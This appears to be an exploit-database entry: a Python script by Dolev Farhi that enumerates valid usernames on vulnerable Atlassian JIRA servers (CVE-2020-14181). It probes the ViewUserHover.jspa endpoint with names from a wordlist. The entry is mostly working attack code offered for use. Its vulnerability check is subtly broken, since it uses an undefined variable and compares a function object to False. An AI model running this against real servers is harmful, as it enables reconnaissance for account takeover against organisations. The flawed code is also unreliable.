发布 2021-03-10 漏洞条目

Atlassian JIRA 8.11.1 – User Enumeration

Exploit Source

# Title: Atlassian JIRA 8.11.1 - User Enumeration

# Author: Dolev Farhi

# Vulnerable versions: version < 7.13.16, 8.0.0 ≤ version < 8.5.7, 8.6.0 ≤ version < 8.12.0

# CVE: CVE-2020-14181

# Credit to original CVE author: Mikhail Klyuchnikov of Positive Technologies.

import sys

import os

import requests

def help():

print('python3 script.py <target> <usernames_file>')

print('e.g. python3 script.py https://jiratarget.com usernames.txt')

sys.exit()

if len(sys.argv) < 3:

help()

server = sys.argv[1]

usernames = sys.argv[2]

random_user = '0x00001'

try:

os.path.exists(usernames)

except:

print(usernames, 'file does not exist.')

sys.exit(1)

def test_vulnerable():

resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))

if 'User does not exist: {}'.format(random_user) in resp.text:

return True

return False

if test_vulnerable is False:

print('server is not vulnerable.')

sys.exit(1)

f = open(usernames, 'r').read()

for username in f.splitlines():

resp = requests.get('{}/secure/ViewUserHover.jspa?username={}'.format(server, username))

if 'User does not exist' not in resp.text:

print('EXISTS', username)

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